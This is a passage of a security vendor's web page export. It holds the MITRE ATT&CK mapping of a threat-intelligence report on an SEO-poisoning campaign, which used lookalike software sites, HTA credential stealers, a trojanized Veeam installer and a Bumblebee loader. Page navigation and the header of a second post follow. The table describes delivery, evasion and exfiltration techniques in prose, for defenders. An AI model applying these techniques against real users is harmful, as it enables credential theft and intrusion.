33.3333%;\">T1608.001<\/td>\n<td style=\"width: 33.3333%;\">Malicious payloads were staged on attacker-controlled domains and legitimate file-hosting services, in some cases masked behind a redirection chain.<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 33.3333%;\">Stage Capabilities: SEO Poisoning<\/td>\n<td style=\"width: 33.3333%;\">T1608.006<\/td>\n<td style=\"width: 33.3333%;\">The threat actor applied blackhat SEO techniques to boost the lookalike domains across search results, including SEO-friendly white pages, cloaking (custom scripts and the third-party service cloaking[.]house), backlink injection across Private Blog Networks (PBNs), and geotargeting.<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 33.3333%;\">Drive-by Compromise<\/td>\n<td style=\"width: 33.3333%;\">T1189<\/td>\n<td style=\"width: 33.3333%;\">Users searching to download software were lured via poisoned search results to lookalike sites serving credential phishing pages or malware.<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 33.3333%;\">User Execution: Malicious File<\/td>\n<td style=\"width: 33.3333%;\">T1204.002<\/td>\n<td style=\"width: 33.3333%;\">Infection required victims to download and execute the served payloads (e.g. HTA files, trojanized MSI installers, modified ISO images).<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 33.3333%;\">System Binary Proxy Execution: Mshta<\/td>\n<td style=\"width: 33.3333%;\">T1218.005<\/td>\n<td style=\"width: 33.3333%;\">HTA-based credential stealers were executed via mshta.exe.<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 33.3333%;\">System Binary Proxy Execution: Rundll32<\/td>\n<td style=\"width: 33.3333%;\">T1218.011<\/td>\n<td style=\"width: 33.3333%;\">Bumblebee loader (x64.dll) was executed via rundll32.exe using the DllRegisterServer export.<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 33.3333%;\">Hijack Execution Flow: DLL<\/td>\n<td style=\"width: 33.3333%;\">T1574.001<\/td>\n<td style=\"width: 33.3333%;\">The original Setup.exe in the trojanized Veeam Backup &amp; Replication ISO image was modified to import the custom loader veeamstat.dll.<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 33.3333%;\">Masquerading: Match Legitimate Resource Name or Location<\/td>\n<td style=\"width: 33.3333%;\">T1036.005<\/td>\n<td style=\"width: 33.3333%;\">Payloads and lookalike domains masqueraded as legitimate VPN, remote desktop, and enterprise software and their vendors&#8217; download sites.<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 33.3333%;\">Masquerading: Masquerade File Type<\/td>\n<td style=\"width: 33.3333%;\">T1036.008<\/td>\n<td style=\"width: 33.3333%;\">Icon data was prepended to the HTA payloads, creating ICO\/HTA polyglot files that display the impersonated VPN client&#8217;s icon when rendered by mshta.exe.<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 33.3333%;\">Obfuscated Files or Information: Binary Padding<\/td>\n<td style=\"width: 33.3333%;\">T1027.001<\/td>\n<td style=\"width: 33.3333%;\">Dummy functions were inserted into the HTA payloads to inflate their size, likely as a detection-evasion technique.<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 33.3333%;\">Obfuscated Files or Information: Software Packing<\/td>\n<td style=\"width: 33.3333%;\">T1027.002<\/td>\n<td style=\"width: 33.3333%;\">The Bumblebee loader payload (x64.dll) was packed with VMProtect.<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 33.3333%;\">Input Capture: GUI Input Capture<\/td>\n<td style=\"width: 33.3333%;\">T1056.002<\/td>\n<td style=\"width: 33.3333%;\">Fake logon portals rendered on the victim&#8217;s machine by the HTA payloads or served as web-based phishing forms captured credentials entered by victims, displaying a fake error message as decoy.<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 33.3333%;\">Application Layer Protocol: Web Protocols<\/td>\n<td style=\"width: 33.3333%;\">T1071.001<\/td>\n<td style=\"width: 33.3333%;\">The HTA payloads dynamically fetched the fake VPN client UI over HTTP from an attacker-controlled domain using the custom header \u201cX-From-HTA: yes-hta-2025\u201d.<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 33.3333%;\">Exfiltration Over C2 Channel<\/td>\n<td style=\"width: 33.3333%;\">T1041<\/td>\n<td style=\"width: 33.3333%;\">Captured VPN and remote desktop credentials and configuration data were exfiltrated to attacker-controlled domains.<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 33.3333%;\">External Remote Services<\/td>\n<td style=\"width: 33.3333%;\">T1133<\/td>\n<td style=\"width: 33.3333%;\">Harvested VPN and remote desktop credentials likely serve as an initial access vector (IAV) into victims&#8217; network perimeters.<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 33.3333%;\">Valid Accounts<\/td>\n<td style=\"width: 33.3333%;\">T1078<\/td>\n<td style=\"width: 33.3333%;\">Assessed: operating as an Initial Access Broker, the actor likely uses or sells stolen credentials to enable follow-on intrusions, including ransomware operations.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--disable-container wp-block-two-column-block__share wp-block-two-column-block__mobile-after-right wp-block-two-column-block__share wp-block-two-column-block__mobile-after-right\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this story                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/initial-access-via-seo-poisoning\/&#038;title=Stolen%20creds%20and%20stinging%20loaders:%20An%20initial%20access%20campaign%20via%20SEO%20poisoning\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=Stolen creds and stinging loaders: An initial access campaign via SEO poisoning&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/initial-access-via-seo-poisoning\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n                <\/div>\n                        <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-cta-banner edwp-block js-wp-block-cta-banner wp-block-cta-banner--style-icon wp-block-cta-banner--no-image layout--spacing-xxxl-top layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-cta-banner__container\">\n        <div class=\"wp-block-cta-banner__box row-load\">\n            <div class=\"wp-component-content wp-component-content--help-text wp-component-content--dark wp-block-cta-banner__content\">\n                        <div class=\"wp-component-content__inner\">\n                <h2 class=\"wp-component-heading text--h2 wp-component-heading--dark wp-component-content__title\">\n    What <span class=\"blue-text\">next?<\/span><\/h2>                                    <div class=\"wp-component-content__content wysiwyg wysiwyg--dark\">\n                        <div class=\"wp-component-paragraph wp-component-paragraph--dark\">\n    <p class=\"text--p-medium\">Discover WithSecure\u2122 Elements Exposure Management.<br \/>\n&#8211; No credit card required. No obligations.No complexity.<\/p>\n<\/div>\n                    <\/div>\n                            <\/div>\n                            <div class=\"wp-component-content__buttons\">\n                <a class=\"wp-component-button btn btn--primary btn--dark\" href=\"https:\/\/www.withsecure.com\/en\/contact-us\/\">Contact us<\/a>            <\/div>\n                <\/div>                    <\/div>\n    <\/div>\n<\/section>\n\n\n\n\n<section\n    class=\"wp-block-cards edwp-block wp-block-cards--col-3 js-wp-block-cards wp-block-cards--show-overflow wp-block-cards--auto-slides-per-view layout--spacing-xxxl-top layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-cards__container\">\n        <div class=\"wp-component-content wp-component-content--default wp-block-cards__content\">\n            <h2 class=\"wp-component-heading text--h2 wp-component-content__title\">\n    Related <span class=\"blue-text\">Labs content<\/span><\/h2>                    <div class=\"wp-component-content__inner\">\n                                    <div class=\"wp-component-content__content wysiwyg\">\n                        <div class=\"wp-component-paragraph \">\n    <p class=\"text--p-medium\"><span data-teams=\"true\">Find related content relating to this topic.<\/span><\/p>\n<\/div>\n                    <\/div>\n                                                            <\/div>\n                <\/div>                            <div\n                class=\"swiper wp-block-cards__swiper js-wp-block-cards-swiper\"\n                data-slides-per-view-desktop=\"auto\"\n                data-slides-per-view-tablet=\"auto\"\n                data-slides-per-view-mobile=\"auto\"\n            >\n                <div class=\"swiper-wrapper wp-block-cards__swiper-wrapper row-load\">\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card wp-component-card-insight--highlighted\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp 618w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-300x214.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-447x318.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-205x146.jpg.webp 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Blog post<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Attack Detection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Dfir<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Incident Response<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Malware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Research<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Inside Phexia: A macOS malware delivered through ClickFix<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary btn--dark wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/phexia-macos-malware\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"2048\" height=\"1366\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"Overhead view down a wooden staircase of two people working on laptops in a casual seating nook below.\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506.jpg.webp 2048w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-300x200.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-1024x683.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-768x512.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-1536x1025.jpg.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-447x298.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-219x146.jpg.webp 219w\" sizes=\"auto, (max-width: 2048px) 100vw, 2048px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Article<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Endpoint Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Malware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Ransomware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Stolen creds and stinging loaders: An initial access campaign via SEO poisoning<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/initial-access-via-seo-poisoning\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp 618w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-300x214.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-447x318.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-205x146.jpg.webp 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Blog post<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">AI Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Software Protection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">GREYVIBE: A Russia-nexus group leveraging AI across state-aligned operations<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/greyvibe\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                    <\/div>\n                <div class=\"wp-block-cards__nav fade-in\">\n                    <div class=\"wp-block-cards__pagination js-wp-block-cards-pagination\">\n                    <\/div>\n                    <div class=\"wp-block-cards__nav-arrow js-wp-block-cards-nav-prev\">\n                        <svg class='edwp-icon edwp-icon--reg js-icon ' aria-hidden='true'>\n                <use xlink:href='#chevron'><\/use>\n            <\/svg>                    <\/div>\n                    <div class=\"wp-block-cards__nav-arrow js-wp-block-cards-nav-next\">\n                        <svg class='edwp-icon edwp-icon--reg js-icon ' aria-hidden='true'>\n                <use xlink:href='#chevron'><\/use>\n            <\/svg>                    <\/div>\n                <\/div>\n            <\/div>\n                                    <\/div>\n<\/section>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":20,"featured_media":13035,"template":"","categories":[239,140,148,269],"labs_content_type":[298,296,224],"class_list":["post-13387","lab_item","type-lab_item","status-publish","has-post-thumbnail","hentry","category-endpoint-security","category-malware","category-ransomware","category-threat-intelligence"],"acf":[],"card":"<div class=\"wp-component-card-insight js-card-link\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img width=\"2048\" height=\"1366\" src=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/06\/2026-05-21-WithSecure-3506.jpg\" class=\"wp-component-card-insight__image\" alt=\"Overhead view down a wooden staircase of two people working on laptops in a casual seating nook below.\" decoding=\"async\" loading=\"lazy\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/06\/2026-05-21-WithSecure-3506.jpg 2048w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/06\/2026-05-21-WithSecure-3506-300x200.jpg 300w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/06\/2026-05-21-WithSecure-3506-1024x683.jpg 1024w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/06\/2026-05-21-WithSecure-3506-768x512.jpg 768w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/06\/2026-05-21-WithSecure-3506-1536x1025.jpg 1536w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/06\/2026-05-21-WithSecure-3506-447x298.jpg 447w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/06\/2026-05-21-WithSecure-3506-219x146.jpg 219w\" sizes=\"auto, (max-width: 2048px) 100vw, 2048px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Article<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Endpoint Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Malware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Ransomware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Stolen creds and stinging loaders: An initial access campaign via SEO poisoning<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/initial-access-via-seo-poisoning\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>","_links":{"self":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/lab_item\/13387","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/lab_item"}],"about":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/types\/lab_item"}],"author":[{"embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/users\/20"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/media\/13035"}],"wp:attachment":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/media?parent=13387"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/categories?post=13387"},{"taxonomy":"labs_content_type","embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/labs_content_type?post=13387"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}},{"id":10930,"date":"2026-05-28T10:06:11","date_gmt":"2026-05-28T09:06:11","guid":{"rendered":"https:\/\/www.withsecure.com\/?post_type=lab_item&#038;p=10930"},"modified":"2026-09-08T10:03:24","modified_gmt":"2026-09-08T07:03:24","slug":"greyvibe","status":"publish","type":"lab_item","link":"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/greyvibe\/","title":{"rendered":"GREYVIBE: A Russia-nexus group leveraging AI across state-aligned operations"},"content":{"rendered":"<section\n    class=\"wp-block-one-column-block edwp-block js-wp-block-one-column-block wp-block-one-column-block--content-1 wp-block-one-column-block--meta-sharing layout--spacing-xxxxl-top layout--spacing-xl-bottom\"\n    >\n    <div class=\"wp-block-one-column-block__container\">\n                                                                                                                            <div class='wp-block-one-column-block__meta-sharing-grid'><div class=\"wp-component-content wp-component-content--default wp-block-one-column-block__content fade-in\">\n            <h1 class=\"wp-component-heading text--h2 wp-component-content__title\">\n    GREYVIBE: A Russia-nexus group leveraging <span class=\"blue-text\">AI across state-aligned operations<\/span><\/h1>                    <div class=\"wp-component-content__inner\">\n                                                    <div class=\"wp-component-content__meta\">\n                                                    <span class=\"wp-component-content__content-type\">\n                                Blog post                            <\/span>\n                                                                            <span class=\"wp-component-content__meta-categories\">\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        AI Security                                    <\/span>\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Software Protection                                    <\/span>\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Threat Intelligence                                    <\/span>\n                                                            <\/span>\n                                                                                                    <span class=\"wp-component-content__meta-date\">\n                                May 28, 2026                            <\/span>\n                                                                    <\/div>\n                                            <\/div>\n                <\/div><section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--content-1 wp-block-sharing-icons--disable-container wp-block-one-column-block__sharing fade-in wp-block-one-column-block__sharing fade-in\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/greyvibe\/&#038;title=GREYVIBE:%20A%20Russia-nexus%20group%20leveraging%20AI%20across%20state-aligned%20operations\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=GREYVIBE: A Russia-nexus group leveraging AI across state-aligned operations&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/greyvibe\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n<\/div>                                                                                <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-one-column-block edwp-block js-wp-block-one-column-block wp-block-one-column-block--content-1 layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-one-column-block__container\">\n                                                                                                                                    <div class=\"wp-component-image__wrapper wp-block-one-column-block__image fade-in\">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"1200\" height=\"800\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research.jpg.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-content-25-1 wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research.jpg.webp 1200w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research-300x200.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research-1024x683.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research-768x512.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research-447x298.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research-219x146.jpg.webp 219w\" sizes=\"auto, (max-width: 1200px) 100vw, 1200px\" \/>                                                    <\/figure>\n                    <\/div>\n                                                                                <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-two-column-block edwp-block js-wp-block-two-column-block wp-block-two-column-block--content-1 wp-block-two-column-block__left--align-y-top wp-block-two-column-block__right--align-y-top wp-block-two-column-block--split-sidebar layout--none-top layout--spacing-xxxl-bottom\"\n    data-block-id=\"block_0d40d09a12d23cefcb6bb747eb5efe05\"\n    >\n    <div class=\"wp-block-two-column-block__container row-load\">\n                                                        <div class=\"wp-block-two-column-block__left\">\n                                    <div class=\"wp-component-authors-list wp-block-two-column-block__authors\">\n                    <p class=\"wp-component-authors-list__title\">\n                Authors            <\/p>\n        \n        <div class=\"wp-component-authors-list__items\">\n                                                <div class=\"wp-component-author-card \">\n    <div class=\"wp-component-author-card__media\">\n                    <img loading=\"lazy\" decoding=\"async\" width=\"1080\" height=\"1080\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2.jpg.webp\" class=\"wp-component-author-card__photo\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2.jpg.webp 1080w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-300x300.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-1024x1024.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-150x150.jpg.webp 150w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-768x768.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-447x447.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-700x700.jpg.webp 700w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-146x146.jpg.webp 146w\" sizes=\"auto, (max-width: 1080px) 100vw, 1080px\" \/>            <\/div>\n    <div class=\"wp-component-author-card__content\">\n                    <h3 class=\"wp-component-author-card__name\">Mohammad Kazem Hassan Nejad<\/h3>\n        \n                    <p class=\"wp-component-author-card__meta\">\n                Senior Threat Intelligence Researcher, WithSecure            <\/p>\n                \n            <\/div>\n\n<\/div>\n\n                                    <\/div>\n\n            <\/div>\n    <div class=\"wp-component-column-cta wp-block-two-column-block__cta\">\n                    <p class=\"wp-component-column-cta__title js-column-cta-nav-title\">\n                Download report            <\/p>\n        \n        <div class=\"wp-component-column-cta__items\">\n                            <div class=\"wp-component-column-cta__item\">\n                    \n                                            <a target=\"_blank\" rel=\"noopener noreferrer\" class=\"wp-component-button btn btn--primary\" href=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/09\/WithSecure_GREYVIBE.pdf\">Download report<svg class='edwp-icon edwp-icon--reg button-icon js-icon ' aria-hidden='true'>\n                <use xlink:target=\"_blank\" rel=\"noopener noreferrer\" href='#download'><\/use>\n            <\/svg><\/a>                                    <\/div>\n                    <\/div>\n    <\/div>\n<nav\n    class=\"wp-component-content-navigation wp-block-two-column-block__content-nav js-content-navigation\"\n    data-bem-base=\"wp-component-content-navigation\"\n    data-nav-column=\"left\"\n    data-nav-type=\"auto\"\n>\n            <p class=\"wp-component-content-navigation__title\">\n            Content        <\/p>\n    \n    <div class=\"wp-component-content-navigation__mobile\">\n        <label class=\"wp-component-content-navigation__mobile-label\">\n            <span class=\"wp-component-content-navigation__mobile-label-text\">\n                Content navigation            <\/span>\n            <select class=\"wp-component-content-navigation__select js-content-navigation-select\">\n                <option value=\"\">\n                    Select a section                <\/option>\n                            <\/select>\n        <\/label>\n    <\/div>\n\n    <div class=\"wp-component-content-navigation__desktop\">\n        <div class=\"wp-component-content-navigation__list-wrapper\">\n            <span\n                class=\"wp-component-content-navigation__indicator js-content-navigation-indicator\"\n                aria-hidden=\"true\"\n            ><\/span>\n            <ul class=\"wp-component-content-navigation__list js-content-navigation-list\">\n                            <\/ul>\n        <\/div>\n    <\/div>\n<\/nav>\n<section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--disable-container wp-block-two-column-block__share wp-block-two-column-block__hide-mobile wp-block-two-column-block__share wp-block-two-column-block__hide-mobile\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this story                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/greyvibe\/&#038;title=GREYVIBE:%20A%20Russia-nexus%20group%20leveraging%20AI%20across%20state-aligned%20operations\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=GREYVIBE: A Russia-nexus group leveraging AI across state-aligned operations&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/greyvibe\/\" 